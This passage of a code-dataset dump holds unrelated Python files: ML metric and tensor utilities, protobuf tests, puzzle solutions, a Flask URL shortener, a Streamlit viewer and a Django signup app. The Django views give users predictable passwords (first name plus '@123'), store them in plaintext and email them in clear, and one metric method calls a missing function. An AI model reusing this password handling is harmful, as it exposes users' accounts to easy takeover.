gather_all_tensors\n\n__all__ = [\"EvalMetric\"]\n\nlogger = logging.getLogger(__name__)\n\n\nclass EvalMetric(Metric, ABC):\n \"\"\"Base class for all evaluation metrics.\n\n Built on top of `torchmetrics.metric.Metric`, this base class introduces\n the name attribute and a name-value format output (the get method). It\n also makes possible to syncnronize state tensors of different shapes in\n each device to support AP-like metrics.\n\n\n .. note::\n\n This is a base class that provides common metric interfaces.\n One should not use this class directly, but inherit it to create new\n metric classes instead.\n\n Args:\n name: Name of this metric instance for display.\n process_group: Specify the process group on which synchronization is\n called. Default: None (which selects the entire world)\n warn_without_compute: Whether to output warning log if `self.compute`\n is not called in `self.get`. Since synchronization among devices\n is executed in `self.compute`, this value reflects if the metric\n will support distributed computation.\n \"\"\"\n\n def __init__(\n self,\n name: Union[List[str], str],\n process_group: Optional[ProcessGroup] = None,\n warn_without_compute: bool = True,\n ):\n\n self.name = name\n super().__init__(\n compute_on_step=False,\n dist_sync_on_step=False,\n process_group=process_group,\n )\n self._warn_without_compute = warn_without_compute\n self.get = self._wrap_get(self.get)\n self._init_states()\n\n def _init_states(self):\n \"\"\"Initialize state variables.\n\n It is generally recommended to create state variables with\n add_state method, since in that case synchronization and reset\n can be handled automatically.\n\n State variables manually added with `self.xxx = yyy` cannot be\n synchronized and thus cannot be used in distributed case. Besides,\n they need to be manually reset by extending the reset method.\n \"\"\"\n\n self.add_state(\n \"sum_metric\",\n default=torch.tensor(0.0),\n dist_reduce_fx=\"sum\",\n )\n self.add_state(\n \"num_inst\",\n default=torch.tensor(0.0),\n dist_reduce_fx=\"sum\",\n )\n\n def reset(self) -> None:\n \"\"\"Reset the metric state variables to their default value.\n\n If (and only if) there are state variables that are not registered\n with `self.add_state` need to be regularly set to default values,\n please extend this method in subclasses.\n \"\"\"\n super().reset()\n\n def _sync_dist(\n self,\n dist_sync_fn: Callable = gather_all_tensors,\n process_group: Optional[Any] = None,\n ) -> None:\n input_dict = {\n attr: getattr(self, attr) for attr in self._reductions.keys()\n }\n\n for attr, reduction_fn in self._reductions.items():\n # pre-concatenate metric states that are lists\n # to reduce number of all_gather operations\n input_dict[attr] = input_dict[attr].cuda()\n if (\n reduction_fn == dim_zero_cat\n and isinstance(input_dict[attr], list)\n and len(input_dict[attr]) > 1\n ):\n input_dict[attr] = [dim_zero_cat(input_dict[attr])]\n\n output_dict = apply_to_collection(\n input_dict,\n torch.Tensor,\n dist_sync_fn,\n group=process_group or self.process_group,\n )\n\n for attr, reduction_fn in self._reductions.items():\n # pre-processing ops (stack or flatten for inputs)\n if isinstance(output_dict[attr][0], torch.Tensor):\n output_dict[attr] = torch.stack(output_dict[attr])\n elif isinstance(output_dict[attr][0], list):\n output_dict[attr] = _flatten(output_dict[attr])\n\n assert isinstance(reduction_fn, Callable) or reduction_fn is None\n reduced = (\n reduction_fn(output_dict[attr])\n if reduction_fn is not None\n else output_dict[attr]\n )\n setattr(self, attr, reduced)\n\n @abstractmethod\n def update(self, *_: Any, **__: Any) -> None:\n \"\"\"Override this method to update the state variables.\"\"\"\n\n def compute(self) -> Union[float, List[float]]:\n \"\"\"Override this method to compute final results from metric states.\n\n All states variables registered with `self.add_state` are synchronized\n across devices before the execution of this method.\n \"\"\"\n val = self.sum_metric / self.num_inst\n\n # scalar case\n if val.numel() == 1:\n val = val.item()\n else:\n val = val.cpu().numpy().tolist()\n return val\n\n def __getstate__(self) -> Dict[str, Any]:\n # ignore update and compute functions for pickling\n return {\n k: v\n for k, v in self.__dict__.items()\n if k not in [\"update\", \"compute\", \"get\", \"_update_signature\"]\n }\n\n def __setstate__(self, state: Dict[str, Any]) -> None:\n # manually restore update and compute functions for pickling\n self.__dict__.update(state)\n self._update_signature = inspect.signature(self.update)\n self.update: Callable = self._wrap_update(self.update)\n self.compute: Callable = self._wrap_compute(self.compute)\n self.get: Callable = self._wrap_get(self.get)\n\n def get(self) -> Tuple[Union[str, List[str]], Union[float, List[float]]]:\n \"\"\"Get current evaluation result.\n\n To skip the synchronization among devices, please override this method\n and calculate results without calling `self.compute()`.\n\n Returns:\n names: Name of the metrics.\n values: Value of the evaluations.\n \"\"\"\n\n values = self.compute_2()\n if isinstance(values, list):\n assert isinstance(self.name, list) and len(self.name) == len(\n values\n )\n\n return self.name, values\n\n def _wrap_get(self, get: Callable):\n @functools.wraps(get)\n def wrapped_func(*args: Any, **kwargs: Any) -> Optional[Any]:\n res = get(*args, **kwargs)\n if self._warn_without_compute and self._computed is None:\n logger.warning(\n f\"{self.__class__} not ready for distributed environment,\"\n + \" should not be used together with DistributedSampler.\"\n + \"Might be slow in validation due to resource competition\"\n )\n return res\n\n return wrapped_func\n\n def get_name_value(self):\n \"\"\"\n Return zipped name and value pairs.\n\n Returns:\n List(tuples): A (name, value) tuple list.\n \"\"\"\n\n name, value = self.get()\n if not isinstance(name, list):\n name = [name]\n if not isinstance(value, list):\n value = [value]\n return list(zip(name, value))\n","repo_name":"xingyun-xy/cap","sub_path":"cap/metrics/metric.py","file_name":"metric.py","file_ext":"py","file_size_in_byte":7548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"17317223399","text":"from unittest.mock import patch\nfrom types import SimpleNamespace\n\nimport pytest\n\nfrom trezorlib import protobuf\n\nSimpleEnum = SimpleNamespace(FOO=0, BAR=5, QUUX=13)\nSimpleEnumType = protobuf.EnumType(\"SimpleEnum\", (0, 5, 13))\n\nwith_simple_enum = patch(\"trezorlib.messages.SimpleEnum\", SimpleEnum, create=True)\n\n\nclass SimpleMessage(protobuf.MessageType):\n @classmethod\n def get_fields(cls):\n return {\n 1: (\"uvarint\", protobuf.UVarintType, None),\n 2: (\"svarint\", protobuf.SVarintType, None),\n 3: (\"bool\", protobuf.BoolType, None),\n 4: (\"bytes\", protobuf.BytesType, None),\n 5: (\"unicode\", protobuf.UnicodeType, None),\n 6: (\"enum\", SimpleEnumType, None),\n 7: (\"rep_int\", protobuf.UVarintType, protobuf.FLAG_REPEATED),\n 8: (\"rep_str\", protobuf.UnicodeType, protobuf.FLAG_REPEATED),\n 9: (\"rep_enum\", SimpleEnumType, protobuf.FLAG_REPEATED),\n }\n\n\nclass NestedMessage(protobuf.MessageType):\n @classmethod\n def get_fields(cls):\n return {\n 1: (\"scalar\", protobuf.UVarintType, 0),\n 2: (\"nested\", SimpleMessage, 0),\n 3: (\"repeated\", SimpleMessage, protobuf.FLAG_REPEATED),\n }\n\n\nclass RequiredFields(protobuf.MessageType):\n @classmethod\n def get_fields(cls):\n return {\n 1: (\"scalar\", protobuf.UVarintType, protobuf.FLAG_REQUIRED),\n }\n\n\ndef test_get_field_type():\n # smoke test\n assert SimpleMessage.get_field_type(\"bool\") is protobuf.BoolType\n\n # full field list\n for fname, ftype, _ in SimpleMessage.get_fields().values():\n assert SimpleMessage.get_field_type(fname) is ftype\n\n\n@with_simple_enum\ndef test_enum_to_str():\n # smoke test\n assert SimpleEnumType.to_str(5) == \"BAR\"\n\n # full value list\n for name, value in SimpleEnum.__dict__.items():\n assert SimpleEnumType.to_str(value) == name\n assert SimpleEnumType.from_str(name) == value\n\n with pytest.raises(TypeError):\n SimpleEnumType.from_str(\"NotAValidValue\")\n\n with pytest.raises(TypeError):\n SimpleEnumType.to_str(999)\n\n\n@with_simple_enum\ndef test_dict_roundtrip():\n msg = SimpleMessage(\n uvarint=5,\n svarint=-13,\n bool=False,\n bytes=b\"\\xca\\xfe\\x00\\xfe\",\n unicode=\"žluťoučký kůň\",\n enum=5,\n rep_int=[1, 2, 3],\n rep_str=[\"a\", \"b\", \"c\"],\n rep_enum=[0, 5, 13],\n )\n\n converted = protobuf.to_dict(msg)\n recovered = protobuf.dict_to_proto(SimpleMessage, converted)\n\n assert recovered == msg\n\n\n@with_simple_enum\ndef test_to_dict():\n msg = SimpleMessage(\n uvarint=5,\n svarint=-13,\n bool=False,\n bytes=b\"\\xca\\xfe\\x00\\xfe\",\n unicode=\"žluťoučký kůň\",\n enum=5,\n rep_int=[1, 2, 3],\n rep_str=[\"a\", \"b\", \"c\"],\n rep_enum=[0, 5, 13],\n )\n\n converted = protobuf.to_dict(msg)\n\n fields = [fname for fname, _, _ in msg.get_fields().values()]\n assert list(sorted(converted.keys())) == list(sorted(fields))\n\n assert converted[\"uvarint\"] == 5\n assert converted[\"svarint\"] == -13\n assert converted[\"bool\"] is False\n assert converted[\"bytes\"] == \"cafe00fe\"\n assert converted[\"unicode\"] == \"žluťoučký kůň\"\n assert converted[\"enum\"] == \"BAR\"\n assert converted[\"rep_int\"] == [1, 2, 3]\n assert converted[\"rep_str\"] == [\"a\", \"b\", \"c\"]\n assert converted[\"rep_enum\"] == [\"FOO\", \"BAR\", \"QUUX\"]\n\n\n@with_simple_enum\ndef test_recover_mismatch():\n dictdata = {\n \"bool\": True,\n \"enum\": \"FOO\",\n \"another_field\": \"hello\",\n \"rep_enum\": [\"FOO\", 5, 5],\n }\n recovered = protobuf.dict_to_proto(SimpleMessage, dictdata)\n\n assert recovered.bool is True\n assert recovered.enum is SimpleEnum.FOO\n assert not hasattr(recovered, \"another_field\")\n assert recovered.rep_enum == [SimpleEnum.FOO, SimpleEnum.BAR, SimpleEnum.BAR]\n\n for name, _, flags in SimpleMessage.get_fields().values():\n if name not in dictdata:\n if flags == protobuf.FLAG_REPEATED:\n assert getattr(recovered, name) == []\n else:\n assert getattr(recovered, name) is None\n\n\n@with_simple_enum\ndef test_hexlify():\n msg = SimpleMessage(bytes=b\"\\xca\\xfe\\x00\\x12\\x34\", unicode=\"žluťoučký kůň\")\n converted_nohex = protobuf.to_dict(msg, hexlify_bytes=False)\n converted_hex = protobuf.to_dict(msg, hexlify_bytes=True)\n\n assert converted_nohex[\"bytes\"] == b\"\\xca\\xfe\\x00\\x12\\x34\"\n assert converted_nohex[\"unicode\"] == \"žluťoučký kůň\"\n assert converted_hex[\"bytes\"] == \"cafe001234\"\n assert converted_hex[\"unicode\"] == \"žluťoučký kůň\"\n\n recovered_nohex = protobuf.dict_to_proto(SimpleMessage, converted_nohex)\n recovered_hex = protobuf.dict_to_proto(SimpleMessage, converted_hex)\n\n assert recovered_nohex.bytes == msg.bytes\n assert recovered_hex.bytes == msg.bytes\n\n\n@with_simple_enum\ndef test_nested_round_trip():\n msg = NestedMessage(\n scalar=9,\n nested=SimpleMessage(uvarint=4, enum=SimpleEnum.FOO),\n repeated=[\n SimpleMessage(),\n SimpleMessage(rep_enum=[SimpleEnum.BAR, SimpleEnum.BAR]),\n SimpleMessage(bytes=b\"\\xca\\xfe\"),\n ],\n )\n\n converted = protobuf.to_dict(msg)\n recovered = protobuf.dict_to_proto(NestedMessage, converted)\n\n assert msg == recovered\n\n\n@with_simple_enum\ndef test_nested_to_dict():\n msg = NestedMessage(\n scalar=9,\n nested=SimpleMessage(uvarint=4, enum=SimpleEnum.FOO),\n repeated=[\n SimpleMessage(),\n SimpleMessage(rep_enum=[SimpleEnum.BAR, SimpleEnum.BAR]),\n SimpleMessage(bytes=b\"\\xca\\xfe\"),\n ],\n )\n\n converted = protobuf.to_dict(msg)\n assert converted[\"scalar\"] == 9\n assert isinstance(converted[\"nested\"], dict)\n assert isinstance(converted[\"repeated\"], list)\n\n rep = converted[\"repeated\"]\n assert rep[0] == {}\n assert rep[1] == {\"rep_enum\": [\"BAR\", \"BAR\"]}\n assert rep[2] == {\"bytes\": \"cafe\"}\n\n\n@with_simple_enum\ndef test_nested_recover():\n dictdata = {\"nested\": {}}\n recovered = protobuf.dict_to_proto(NestedMessage, dictdata)\n assert isinstance(recovered.nested, SimpleMessage)\n\n\n@with_simple_enum\ndef test_unknown_enum_to_str():\n simple = SimpleMessage(enum=SimpleEnum.QUUX)\n string = protobuf.format_message(simple)\n assert \"enum: QUUX (13)\" in string\n\n simple = SimpleMessage(enum=6000)\n string = protobuf.format_message(simple)\n assert \"enum: 6000\" in string\n\n\n@with_simple_enum\ndef test_unknown_enum_to_dict():\n simple = SimpleMessage(enum=6000)\n converted = protobuf.to_dict(simple)\n assert converted[\"enum\"] == 6000\n\n\ndef test_constructor_deprecations():\n # ok:\n RequiredFields(scalar=0)\n\n # positional argument\n with pytest.deprecated_call():\n RequiredFields(0)\n\n # missing required value\n with pytest.deprecated_call():\n RequiredFields()\n\n # more args than fields\n with pytest.deprecated_call(), pytest.raises(TypeError):\n RequiredFields(0, 0)\n\n # colliding arg and kwarg\n with pytest.deprecated_call(), pytest.raises(TypeError):\n RequiredFields(0, scalar=0)\n","repo_name":"symbol/trezor-firmware","sub_path":"python/tests/test_protobuf_misc.py","file_name":"test_protobuf_misc.py","file_ext":"py","file_size_in_byte":7235,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"} +{"seq_id":"34840975432","text":"# -*- encoding: utf-8 -*-\n'''\n@File : task2.py\n@Time : 2020/03/08 21:48:43\n@Author : xdbcb8 \n@Version : 1.0\n@Contact : xdbcb8@qq.com\n@WebSite : www.xdbcb8.com\n'''\n\n# here put the import lib\n'''\n2 一个字典中,存放了10个学生的学号(key)和分数(value);请筛选输出,大于80分的同学(按照格式:学号:分数);\n'''\n\n# student_name = ['阿萨德','史蒂夫','算法','大法官','是非观','梵蒂冈','供电局','语句块','御魂','豆腐干']\n# student_id = [120180,120181,120182,120183,120184,120185,120186,120187,120188,120189]\n# student_score = [20,30,40,50,60,70,80,90,95,100]\n# result = dict(zip(student_name,student_id,student_score)) #有问题,不能这么弄,记得查清这种写法怎么弄\n# print(result[student_name[0]])\n\nstudent = []\nstudent1 = {'name':'二狗蛋','id':120180,'score':20}\nstudent2 = {'name':'阿斯蒂芬','id':120181,'score':30}\nstudent3 = {'name':'张铁柱','id':120182,'score':40}\nstudent4 = {'name':'孙二少','id':120183,'score':50}\nstudent5 = {'name':'韩硕','id':120184,'score':60}\nstudent6 = {'name':'滑稽','id':120185,'score':70}\nstudent7 = {'name':'东方贵红','id':120186,'score':80}\nstudent8 = {'name':'橙子','id':120187,'score':90}\nstudent9 = {'name':'苹果','id':120188,'score':96}\nstudent10 = {'name':'草莓','id':120189,'score':100}\n\nstudent.append(student1)\nstudent.append(student2)\nstudent.append(student3)\nstudent.append(student4)\nstudent.append(student5)\nstudent.append(student6)\nstudent.append(student7)\nstudent.append(student8)\nstudent.append(student9)\nstudent.append(student10)\n\nprint(\"大于80分的同学的学号,分数如下:\\n\")\nfor temp in student:\n if temp['score'] >=80:\n print(\"学号:\",temp['id'],\" 分数:\",temp['score'],\"\\n\")\n\n\n","repo_name":"zhongshiwei456/learngit","sub_path":"homework1/task2.py","file_name":"task2.py","file_ext":"py","file_size_in_byte":1782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"40646705635","text":"from collections import deque\ninput = open('20.in').read().strip()[1:-1]\n\n\ncurrentR = (0, 0)\nrooms = set()\nrooms.add(currentR)\ndoors = set()\nQ = deque()\nQ.append((currentR, input))\nSEEN = set()\nSEEN.add((currentR, input))\nwhile Q:\n (currentR, s) = Q.popleft()\n try:\n prefix = s[:s.index('(')]\n except:\n prefix = s\n\n for c in prefix:\n x, y = currentR\n if c == 'N':\n currentR = (x, y - 2)\n currentD = (x, y - 1)\n elif c == 'S':\n currentR = (x, y + 2)\n currentD = (x, y + 1)\n elif c == 'W':\n currentR = (x - 2, y)\n currentD = (x - 1, y)\n elif c == 'E':\n currentR = (x + 2, y)\n currentD = (x + 1, y)\n rooms.add(currentR)\n doors.add(currentD)\n \n if prefix == s:\n continue\n \n pIdx = s.index('(')\n p = 0\n buf = ''\n tokens = []\n while True:\n c = s[pIdx]\n if c == '(':\n p += 1\n if p > 1:\n buf += c\n elif c == ')':\n p -= 1\n if p == 0:\n tokens.append(buf)\n pIdx += 1\n break\n elif p > 0:\n buf += c\n elif c == '|':\n if p == 1:\n tokens.append(buf)\n buf = ''\n else:\n buf += c\n else:\n buf += c\n pIdx += 1\n for t in tokens:\n newState = (currentR, t + s[pIdx:])\n if not newState in SEEN:\n Q.append(newState)\n SEEN.add(newState)\n pass\n\ndef tipar():\n for y in range(-10, 10):\n for x in range(-10, 10):\n if (x, y) == (0, 0):\n print('X', end = '')\n elif (x, y) in rooms:\n print('.', end = '')\n elif (x, y) in doors:\n if (x - 1, y) in rooms and (x + 1, y) in rooms:\n print('|', end = '')\n elif (x, y + 1) in rooms and (x, y - 1) in rooms:\n print('-', end = '')\n else:\n print('#', end = '')\n print()\n \n#tipar()\n\n\nSEEN = set()\nQ = deque()\nSEEN.add((0, 0))\nstart = ((0, 0), 0)\nQ.append(start)\n\nmaxDepth = 0\npart2 = 0\nwhile Q:\n (point, depth) = Q.popleft()\n \n if depth >= 1000:\n part2 += 1\n if depth > maxDepth:\n maxDepth = depth\n\n x, y = point\n\n dx = [1, -1, 0, 0]\n dy = [0, 0, -1, 1]\n\n for i in range(4):\n newDoor = (x + dx[i], y + dy[i])\n newPoint = (x + 2 * dx[i], y + 2 * dy[i])\n if newDoor in doors:\n if not newPoint in SEEN:\n SEEN.add(newPoint)\n Q.append(((newPoint), depth + 1))\nprint(maxDepth)\nprint(part2)\n\n\n","repo_name":"HoreaOros/AoC2018","sub_path":"20take2.py","file_name":"20take2.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"20429209077","text":"class Solution:\n def removeOuterParentheses(self, s: str) -> str:\n stack=[]\n count=0\n for i in s:\n if i==\"(\" and count!=0:\n stack.append(i)\n count+=1\n elif i==\")\" and count!=1:\n stack.append(i)\n count-=1\n elif i==\"(\" and count==0:\n count+=1\n else:\n count-=1\n\n return \"\".join(stack)","repo_name":"ekramkedir2020/interview-prep","sub_path":"1021-remove-outermost-parentheses/1021-remove-outermost-parentheses.py","file_name":"1021-remove-outermost-parentheses.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"71216440169","text":"from flask import Flask, render_template, request, redirect\nfrom hashlib import md5\nfrom pymongo import MongoClient\nimport time\n\napp = Flask(__name__)\n\nmongo_client = MongoClient(\"localhost\", 27017)\nurl_db = mongo_client.url.urls\n\n\n@app.route('/')\ndef show_url(hash_url):\n pure_url = url_db.find_one({\"hash_url\": hash_url}, {\"_id\": 0, \"pure_url\": 1})[\"pure_url\"]\n if pure_url.find(\"http://\") != 0 and pure_url.find(\"https://\") != 0:\n pure_url = \"https://\" + pure_url\n\n return redirect(pure_url, code=302)\n\n\n@app.route('/', methods=[\"POST\", \"GET\"])\ndef index():\n if request.method == \"POST\":\n pure_url = request.form.get(\"pureURL\", \"\")\n if pure_url == \"\":\n return \"\", 204\n pure_url_timezone = pure_url + str(time.time_ns())\n md5_url = md5(pure_url_timezone.encode()).hexdigest()[0:8]\n url_db.insert_one({\"pure_url\": pure_url, \"hash_url\": md5_url})\n return render_template(\"show.html\", hash_url=md5_url)\n return render_template(\"main.html\")\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"AbdulkadirKoyuncu/UrlShortenerPython","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"39270827183","text":"from __future__ import annotations\nimport requests\nimport pandas as pd\n\nclass CensusResult():\n def __init__(self, response: requests.Reponse, variables: list[str]):\n self.response = response\n self.variables = variables\n self.data = response.json()\n\n # Create pandas dataframe of result Json\n json = self.data\n for i in range(len(json)):\n if i == 0:\n df = pd.DataFrame(columns=json[i])\n else:\n df.loc[i] = json[i]\n\n self.dataframe = df\n","repo_name":"KathrynPanger/bbd","sub_path":"src/bbd/census/census_result.py","file_name":"census_result.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"74059603687","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom Ambika.forms import UserDetails\nfrom Ambika.models import User\nfrom django.core.mail import send_mail\nfrom firstproject import settings\n\n# Create your views here.\ndef registerform(request):\n\tif request.method == 'POST':\n\t\tPswd = request.POST['FirstName']+'@123'\n\t\tFirstName = request.POST['FirstName']\n\t\tLastName = request.POST['LastName']\n\t\tUserName = request.POST['UserName']\n\t\tMailId = request.POST['MailId']\n\t\tPhnNum = request.POST['PhnNum']\n\t\tAge = request.POST['Age']\n\t\tform = User(FirstName=FirstName,LastName=LastName,UserName=UserName,Pswd=Pswd,MailId=MailId,PhnNum=PhnNum,Age=Age)\n\t\tform.save()\n\t\tsub = 'hi'\n\t\tbody = 'Your Password is '+Pswd\n\t\treceiver = request.POST['MailId']\n\t\tsender = settings.EMAIL_HOST_USER\n\t\tsend_mail(sub,body,sender,[receiver])\n\t\t#return HttpResponse(\"

your Password is \"+Pswd)\n\tform = UserDetails()\n\treturn render(request,'Ambika/registerform.html',{'form':form})\n\ndef login(request):\n\tif request.method == \"POST\":\n\t\tUname = request.POST['Uname']\n\t\tPwd = request.POST['Pwd']\n\t\tdata = User.objects.all().filter(UserName=Uname,Pswd=Pwd)\n\t\tprint(list(data))\n\t\tif data:\n\t\t\treturn render(request,'Ambika/display.html',{'data':data})\n\t\treturn HttpResponse(\"Please give Valid User Details\")\n\treturn render(request,'Ambika/login.html',{})\n\n","repo_name":"sreevidyachintala/Django-2020","sub_path":"Django-master/firstproject/Ambika/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"25561145344","text":"# import the Package\nimport os\nimport sys\nimport base64\nfrom io import BytesIO\nimport argparse\nimport glob\n\nsys.path.append(f\"{os.path.dirname(os.path.abspath(__file__))}/../../\")\n\nimport streamlit as st\nfrom PIL import Image\nimport pandas as pd\n\nfrom utils.query import SplitReader\nfrom utils.admin import DBClient\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"streamlit app inside odl-cli.\")\n\n parser.add_argument(\n \"--dataset-name\",\n )\n parser.add_argument(\n \"--split-name\",\n default=\"train\",\n )\n\n try:\n args = parser.parse_args()\n except SystemExit as e:\n os._exit(e.code)\n\n dataset_name = args.dataset_name\n split_name = args.split_name\n st.title(\"Files\")\n # explore_app(dataset_name, split_name)\n image_grid_main(dataset_name, split_name)\n\n\ndef explore_app(dataset_name: str, split_name: str):\n dataset_name = dataset_name\n split_name = \"train\" # currently only support train split\n print(f\"dataset_name: {dataset_name}, split_name: {split_name}\")\n\n db_client = DBClient()\n path = db_client.get_local_split_path(dataset_name, split_name)\n print(path)\n\n split_reader = SplitReader(dataset_name, split_name)\n print(split_reader.dataset_name, split_reader.split_name)\n SPLIT_DF = pd.DataFrame()\n\n SPLIT_DF[\"file_path\"] = split_reader.get_image_samples(10)\n SPLIT_DF[\"split\"] = split_name\n SPLIT_DF[\"thumbnail\"] = SPLIT_DF.file_path.map(lambda x: image_formatter(x))\n DF = pd.DataFrame(\n {\n \"thumbnail\": SPLIT_DF[\"thumbnail\"],\n \"split\": SPLIT_DF[\"split\"],\n }\n )\n\n DF_HTML = convert_df(DF)\n\n pd.set_option(\"display.max_colwidth\", -1)\n st.markdown(DF_HTML, unsafe_allow_html=True)\n\n\ndef image_grid_main(dataset_name: str, split_name: str):\n st.title(\"Image Grid Display\")\n image_files, manuscripts = load_images(dataset_name, split_name)\n view_manuscripts = st.multiselect(\"Select Manuscript(s)\", manuscripts)\n n = st.number_input(\"Select Grid Width\", 1, 5, 3)\n\n view_images = []\n for image_file in image_files:\n if any(manuscript in image_file for manuscript in view_manuscripts):\n view_images.append(image_file)\n groups = []\n for i in range(0, len(view_images), n):\n groups.append(view_images[i : i + n])\n\n for group in groups:\n cols = st.columns(n)\n for i, image_file in enumerate(group):\n cols[i].image(Image.open(image_file))\n\n\n@st.cache\ndef load_images(dataset_name: str, split_name: str):\n files = get_file_list(dataset_name, split_name)\n image_files = files\n manuscripts = []\n for image_file in image_files:\n image_file = image_file.replace(\"\\\\\", \"/\")\n parts = image_file.split(\"/\")\n if parts[1] not in manuscripts:\n manuscripts.append(parts[1])\n manuscripts.sort()\n\n return image_files, manuscripts\n\n\ndef get_file_list(dataset_name: str, split_name: str, count=10):\n dataset_name = dataset_name\n split_name = split_name # currently only support train split\n # print(f\"dataset_name: {dataset_name}, split_name: {split_name}\")\n\n split_reader = SplitReader(dataset_name, split_name)\n # print(split_reader.dataset_name, split_reader.split_name)\n files = split_reader.get_image_samples(count)\n return files\n\n\n@st.cache\ndef convert_df(input_df):\n # IMPORTANT: Cache the conversion to prevent computation on every rerun\n return input_df.to_html(\n formatters={\"img\": image_formatter},\n escape=False,\n )\n\n\ndef get_thumbnail(path):\n i = Image.open(path)\n i.thumbnail((1280, 1280), Image.LANCZOS)\n return i\n\n\ndef image_base64(im):\n if isinstance(im, str):\n im = get_thumbnail(im)\n with BytesIO() as buffer:\n im.save(buffer, \"jpeg\")\n return base64.b64encode(buffer.getvalue()).decode()\n\n\ndef image_formatter(im):\n return f''\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"1034776739/dsdl-sdk","sub_path":"cli/utils/views/view_from_info.py","file_name":"view_from_info.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"14217485286","text":"import re\n\n# Finds the width of the longest number in a single problem and adds two spaces\ndef calculate_width(problem):\n max = 0\n for elem in problem.split():\n if len(elem) > max:\n max = len(elem)\n \n return max + 2\n\n\ndef arithmetic_arranger(problems, calculate = False):\n if len(problems) > 5:\n return \"Error: Too many problems.\"\n\n lines = []\n\n for i in range(4):\n # Initialising the lines to empty strings\n lines.append(\"\")\n\n for problem in problems:\n width = calculate_width(problem)\n\n pieces = problem.split()\n if pieces[1] not in [\"+\", \"-\"]:\n return \"Error: Operator must be '+' or '-'.\"\n\n if len(max(problem.split())) > 4:\n return \"Error: Numbers cannot be more than four digits.\"\n\n if not re.search(\"^[0-9]{1,4}$\", pieces[0]) or not re.search(\"^[0-9]{1,4}$\", pieces[2]):\n return \"Error: Numbers must only contain digits.\"\n\n lines[0] += pieces[0].rjust(width + 4)\n\n lines[1] += \" \" * 4\n lines[1] += pieces[1]\n lines[1] += pieces[2].rjust(width - 1)\n\n lines[2] += \" \" * 4\n lines[2] += \"-\" * width\n\n if calculate:\n if(pieces[1] == \"+\"):\n lines[3] += str(int(pieces[0]) + int(pieces[2])).rjust(width + 4)\n else: # We have already checked for any other operation not being present\n lines[3] += str(int(pieces[0]) - int(pieces[2])).rjust(width + 4)\n\n # Remove 4 spaces at the beginning of each line before joining\n for i in range(4):\n lines[i] = lines[i][4:]\n\n # Joins the lines and returns the block of text\n return \"\\n\".join(tuple(lines))\n","repo_name":"dangarmol/python-scientific-computing-fcc","sub_path":"Arithmetic Formatter/arithmetic_arranger.py","file_name":"arithmetic_arranger.py","file_ext":"py","file_size_in_byte":1694,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"7973314712","text":"import ast\r\nimport numpy as np\r\nimport torch\r\nfrom torch.autograd import Variable\r\n\r\n\r\nwith open('fta/utils/coco91_label_dict.txt', 'r') as f:\r\n COCO91_LABEL_DICT = ast.literal_eval(f.read())\r\n\r\n\r\nclass Normalize(torch.nn.Module):\r\n def __init__(self, mean: tuple, std: tuple):\r\n super(Normalize, self).__init__()\r\n self._mean = mean\r\n self._std = std\r\n\r\n def forward(self, tensor: torch.tensor) -> torch.tensor:\r\n N, C, H, W = tensor.shape\r\n mean = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._mean).astype(np.float32),\r\n axis=0), axis=-1), axis=-1)\r\n mean_tile = torch.tensor(np.tile(mean, (N, 1, H, W)))\r\n std = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._std).astype(np.float32), axis=0),\r\n axis=-1), axis=-1)\r\n std_tile = torch.tensor(np.tile(std, (N, 1, H, W)))\r\n\r\n if tensor.is_cuda:\r\n mean_tile = mean_tile.cuda()\r\n std_tile = std_tile.cuda()\r\n\r\n tensor = (tensor - mean_tile) / std_tile\r\n return tensor\r\n\r\n\r\nclass UnNormalize(torch.nn.Module):\r\n def __init__(self, mean: tuple, std: tuple):\r\n super(UnNormalize, self).__init__()\r\n self.mean = mean\r\n self.std = std\r\n\r\n def forward(self, tensor: torch.tensor) -> torch.tensor:\r\n N, C, H, W = tensor.shape\r\n mean = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._mean).astype(np.float32), axis=0),\r\n axis=-1), axis=-1)\r\n mean_tile = torch.tensor(np.tile(mean, (N, 1, H, W)))\r\n std = np.expand_dims(np.expand_dims(np.expand_dims(\r\n np.array(self._std).astype(np.float32), axis=0),\r\n axis=-1), axis=-1)\r\n std_tile = torch.tensor(np.tile(std, (N, 1, H, W)))\r\n\r\n if tensor.is_cuda:\r\n mean_tile = mean_tile.cuda()\r\n std_tile = std_tile.cuda()\r\n\r\n tensor = tensor * std_tile + mean_tile\r\n return tensor\r\n\r\n\r\ndef numpy_to_variable(image, device=torch.device('cuda:0')):\r\n if len(image.shape) == 3:\r\n x_image = np.expand_dims(image, axis=0)\r\n else:\r\n x_image = image\r\n x_image = Variable(torch.tensor(x_image), requires_grad=True)\r\n x_image = x_image.to(device)\r\n x_image.retain_grad()\r\n return x_image\r\n\r\ndef variable_to_numpy(variable):\r\n return variable.cpu().detach().numpy()\r\n\r\ndef convert_torch_det_output(torch_out,\r\n cs_th=0.5,\r\n cls_as_name=False,\r\n cls_filter=None):\r\n '''convert pytorch detection model output to list of dictionary of list\r\n 